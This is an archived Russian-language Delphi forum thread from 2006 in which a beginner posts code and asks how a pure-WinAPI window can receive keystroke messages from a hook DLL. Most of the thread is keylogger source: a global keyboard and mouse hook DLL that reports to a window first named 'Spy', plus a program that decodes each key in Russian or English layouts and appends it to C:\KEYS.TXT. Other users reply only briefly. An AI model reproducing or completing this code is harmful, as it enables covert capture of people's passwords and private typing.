Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2006.01.22;
Скачать: [xml.tar.bz2];

Вниз

WinAPI проблема с type   Найти похожие ветки 

 
maxim123   (2006-01-04 20:20) [0]

Здравствуйте.
 Я пишу хуку и начал изучать WinApi вроде как на нем приложения очень маленькие. Есть DLL она отсылает данные форме выполненой на WINAPI . Есть программа (форма) в прорграмме процедура обработки полученных данных но ее нужно определить в  Type

Program Patch;

Uses windows,messages, shellapi;

type TWMU=record
    msg:Cardinal;
    UU1:Word;
    UU2:Word;
    UU3:LongInt;
    Result:LongInt;

    end;
// Далее следует проблема
//type ......... А что мне сюда вписать прога ведъ на API
//  private
//    procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;



 
Maxim123   (2006-01-04 20:56) [1]

Вопрос даже не с type а как обработать информацию приходящию на WinApi Форму


 
Игорь Шевченко ©   (2006-01-05 10:27) [2]


>  как обработать информацию приходящию на WinApi Форму


Очевидно в оконной процедуре ? Я угадал ?


 
maxim123   (2006-01-05 12:36) [3]

Да совершенно точно Третий день бьюсь над этим вопросом
данные отсылаются
SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);

но как их принять???


 
Игорь Шевченко ©   (2006-01-05 12:37) [4]


> но как их принять???


Также, как другие сообщения - в оконной процедуре.


 
maxim123   (2006-01-05 12:39) [5]

А примерчик можно


 
Игорь Шевченко ©   (2006-01-05 13:39) [6]


> А примерчик можно


У тебя он уже есть - твоя "форма на WinAPI"


 
Gero ©   (2006-01-05 13:44) [7]

> SendMessage(FindWindow(nil,"Шпион"),WM_CHAR,wparam,0);

А ведь так потом и пишут в программах.


 
maxim123   (2006-01-05 13:55) [8]

мда ну тогда приведу весь код

DLL

library hook;
uses  
 windows;

const
 //Messages.pas;

 WM_CHAR             = $0102;

function KeyboardProc(code:Integer;wparam,
               lparam:LongInt):LRESULT; stdcall
begin
SendMessage(FindWindow("TForm1","Шпион"),WM_CHAR,wparam,0);
Result:=0;
end;

exports
KeyboardProc;

begin
end.


Сама программа



Program Patch;

Uses windows,messages, shellapi, SysUtils, Classes, dialogs;

//type Tmyclass = class
//...... А что мне сюда вписать прога веди на API
// private
//   procedure HOOKEVENT(var Msg:TWMCHAR);message WM_CHAR;
//end;

var
 Msg2:TWMKEY;
 msg: tmsg;
 win: hwnd;
 h,z:hhook;
 libhandle:HINST;
 hkprcKeyboard: TFNHookProc;
 x:integer;

{$R API.RES}
procedure setHookApi;
begin

end;

procedure unsetHookApi;
begin
UnhookWindowsHookEx(h);
UnhookWindowsHookEx(z);
end;

//Функция определения язака
function WinLang:Boolean;
var
 Layout: array [0.. KL_NAMELENGTH] of char;
begin
 GetKeyboardLayoutName(Layout);
if Layout = "00000409" then Result:=False else Result:=True ;
end;

//Обрабатываем сообщения от DLL
procedure HOOKEVENT(var Msg2:TWMKEY);
var F:TextFile;
click: string;
begin
if x=1 then begin
if ((Msg2.CharCode > 512) and (Msg2.CharCode < 523)) or (Msg2.CharCode < 300)  then
begin
  if WinLang then begin
case Msg2.CharCode of
  522: click:="[Rolik]";
  519: click:="[Mouse3]";
  520: click:="[Mouse3]";
  513: click:="[MouseLeft]";
  514: click:="[MouseLeft]";
  516: click:="[MouseRight]";
  517: click:="[MouseRight]";
    8: click:="[BackSpase]";
    9: click:="[Tab]";
   13: click:="[Enter]";
   16: click:="[Shift]";
   17: click:="[Control]";
   18: click:="[Alt]";
   19: click:="[Pause]";
   20: click:="[CapsLock]";
   27: click:="[Esc]";
   32: click:="[Space]";
   33: click:="[PageUp]";
   34: click:="[PageDown]";
   35: click:="[End]";
   36: click:="[Home]";
   37: click:="[влево]";
   38: click:="[вверх]";
   39: click:="[вправо]";
   40: click:="[вниз]";
   44: click:="[PrtScr]";
   45: click:="[Insert]";
   46: click:="[Del]";
   48: click:="0";
   49: click:="1";
   50: click:="2";
   51: click:="3";
   52: click:="4";
   53: click:="5";
   54: click:="6";
   55: click:="7";
   56: click:="8";
   57: click:="9";
   65: click:="ф";
   66: click:="и";
   67: click:="с";
   68: click:="в";
   69: click:="у";
   70: click:="а";
   71: click:="п";
   72: click:="р";
   73: click:="ш";
   74: click:="о";
   75: click:="л";
   76: click:="д";
   77: click:="ь";
   78: click:="т";
   79: click:="щ";
   80: click:="з";
   81: click:="й";
   82: click:="к";
   83: click:="ы";
   84: click:="е";
   85: click:="г";
   86: click:="м";
   87: click:="ц";
   88: click:="ч";
   89: click:="н";
   90: click:="я";
   91: click:="[WinKeyL]";
   92: click:="[WinKeyR]";
   93: click:="[ContextMenu]";
   96: click:="0";
   97: click:="1";
   98: click:="2";
   99: click:="3";
  100: click:="4";
  101: click:="5";
  102: click:="6";
  103: click:="7";
  104: click:="8";
  105: click:="9";
  144: click:="[NumLock]";
  111: click:="/";
  106: click:="*";
  109: click:="-";
  107: click:="+";
  110: click:=".";
  112: click:="[F1]";
  113: click:="[F2]";
  114: click:="[F3]";
  115: click:="[F4]";
  116: click:="[F5]";
  117: click:="[F6]";
  118: click:="[F7]";
  119: click:="[F8]";
  120: click:="[F9]";
  121: click:="[F10]";
  122: click:="[F11";
  123: click:="[F12]";
  145: click:="[ScrollLock]";
  186: click:="ж";
  187: click:="=";
  188: click:="б";
  189: click:="-";
  190: click:="ю";
  191: click:=".";
  192: click:="`";
  219: click:="х";
  220: click:="\";
  221: click:="ъ";
  222: click:="э";
end;
end else begin
 case Msg2.CharCode of
  522: click:="[Rolik]";
  519: click:="[Mouse3]";
  520: click:="[Mouse3]";
  513: click:="[MouseLeft]";
  514: click:="[MouseLeft]";
  516: click:="[MouseRight]";
  517: click:="[MouseRight]";
    8: click:="[BackSpase]";
    9: click:="[Tab]";
   13: click:="[Enter]";
   16: click:="[Shift]";
   17: click:="[Control]";
   18: click:="[Alt]";
   19: click:="[Pause]";
   20: click:="[CapsLock]";
   27: click:="[Esc]";
   32: click:="[Space]";
   33: click:="[PageUp]";
   34: click:="[PageDown]";
   35: click:="[End]";
   36: click:="[Home]";
   37: click:="[влево]";
   38: click:="[вверх]";
   39: click:="[вправо]";
   40: click:="[вниз]";
   44: click:="[PrtScr]";
   45: click:="[Insert]";
   46: click:="[Del]";
   48: click:="0";
   49: click:="1";
   50: click:="2";
   51: click:="3";
   52: click:="4";
   53: click:="5";
   54: click:="6";
   55: click:="7";
   56: click:="8";
   57: click:="9";
   65: click:="a";
   66: click:="b";
   67: click:="c";
   68: click:="d";
   69: click:="e";
   70: click:="f";
   71: click:="g";
   72: click:="h";
   73: click:="i";
   74: click:="j";
   75: click:="k";
   76: click:="l";
   77: click:="m";
   78: click:="n";
   79: click:="o";
   80: click:="p";
   81: click:="q";
   82: click:="r";
   83: click:="s";
   84: click:="t";
   85: click:="u";
   86: click:="v";
   87: click:="w";
   88: click:="x";
   89: click:="y";
   90: click:="z";
   91: click:="[WinKeyL]";
   92: click:="[WinKeyR]";
   93: click:="[ContextMenu]";
   96: click:="0";
   97: click:="1";
   98: click:="2";
   99: click:="3";
  100: click:="4";
  101: click:="5";
  102: click:="6";
  103: click:="7";
  104: click:="8";
  105: click:="9";
  144: click:="[NumLock]";
  111: click:="/";
  106: click:="*";
  109: click:="-";
  107: click:="+";
  110: click:=".";
  112: click:="[F1]";
  113: click:="[F2]";
  114: click:="[F3]";
  115: click:="[F4]";
  116: click:="[F5]";
  117: click:="[F6]";
  118: click:="[F7]";
  119: click:="[F8]";
  120: click:="[F9]";
  121: click:="[F10]";
  122: click:="[F11";
  123: click:="[F12]";
  145: click:="[ScrollLock]";
  186: click:=";";
  187: click:="=";
  188: click:=",";
  189: click:="-";
  190: click:=".";
  191: click:="/";
  192: click:="`";
  219: click:="[";
  220: click:="\";
  221: click:="]";
  222: click:="`";
end;
end;
//Memo1.Lines.Add(click);
AssignFile(F,"C:\KEYS.TXT");
If not FileExists("C:\KEYS.TXT") then Rewrite(F)else
       Append(F);
WriteLn(F,click);
CloseFile(F);
end;
x:=0;
end else x:=1;
Msg2.Result:=0;
end;


 
maxim123   (2006-01-05 13:55) [9]

Procedure trans;
type
  TLayeredWndAttr = function(hwnd:integer; color:integer; level:integer; mode:integer): Integer; stdcall;
const
  LWA_ALPHA = $2;
  WS_EX_LAYERED = $80000;
var
  LayeredWndAttr: TLayeredWndAttr;
  i : integer;
begin
  i := 50;
  LayeredWndAttr := GetProcAddress(GetModuleHandle("user32.dll"),
                 "SetLayeredWindowAttributes");

  SetWindowLong(FindWindow(nil,"test"), GWL_EXSTYLE, WS_EX_LAYERED);
  LayeredWndAttr(FindWindow(nil,"test"), RGB(0,0,0), i*255 div 100, LWA_ALPHA);
end;

Function SettingsDlgProc(Window : hWnd; Msg,WParam,LParam : Integer): Integer; StdCall;

Begin
Result := 0;
Case msg of
wm_InitDialog : Begin Result := 0; End;
wm_Command : Begin
   case LoWord(WParam) of                            
50: begin
trans;
setHookApi;

end;

// ??????????????????????????
WM_CHAR : HOOKEVENT(Msg2);
//?????????????????????????????
end;
end;
wm_Close   : DestroyWindow(Win);
wm_Destroy : PostQuitMessage(0);
else Result := 0;
end;
end;

Procedure RunSettings;
Begin
Win := CreateDialog(hInstance,PCHar(101),0,@SettingsDlgProc);
Showwindow(Win,SW_SHOW);
Updatewindow(Win);
End;

begin
x:=0;
libhandle:=LoadLibrary("hook.dll");
showmessage(floattostr(libhandle));
hkprckeyboard:=GetProcAddress(libhandle, "KeyboardProc");
 h:=SetWindowsHookEX(14,hkprckeyboard,libhandle,0);
 z:=SetWindowsHookEX(WH_KEYBOARD,hkprckeyboard,libhandle,0);
RunSettings;
While GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.



api.rc



101 DIALOG 0, 0, 266, 95
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUPWINDOW |
WS_DLGFRAME
CAPTION "test"
FONT 8, "MS Sans Serif"
{
DEFPUSHBUTTON "Patch", 50, 13, 73, 59, 14
CTEXT "Тест WinAPI", 100, 13, 42, 240, 27, SS_SUNKEN
CONTROL 101, -1, "STATIC", SS_BITMAP | SS_CENTERIMAGE | SS_REALSIZEIMAGE |
SS_SUNKEN, 13, 8, 240, 30
end


 
maxim123   (2006-01-05 14:01) [10]

поправочка в DLL вместо Tform1 NIL вместо шпион test


 
Игорь Шевченко ©   (2006-01-05 14:33) [11]

А где форма на апи ?


 
maxim123   (2006-01-05 14:38) [12]

вот с этой хр***Ю я и разбираюсь файл rc Это настройки формы
если есть у кого другие примеры и предложения то выкладывайте их сюда или мне на мыло maxcor@bk.ru



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2006.01.22;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.5 MB
Время: 0.039 c
2-1135972219
Сергей_1
2005-12-30 22:50
2006.01.22
Программа в ХР глючит - в W98 нормально работает


9-1123252920
Андрей235
2005-08-05 18:42
2006.01.22
Карточная игра "дурак


14-1135751515
Vale
2005-12-28 09:31
2006.01.22
Компиляция со сдвигом


1-1134718960
Scorpio_md
2005-12-16 10:42
2006.01.22
Печать файла в без запуска EXCEL


14-1135524553
Fl@sh
2005-12-25 18:29
2006.01.22
Печать pdf





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский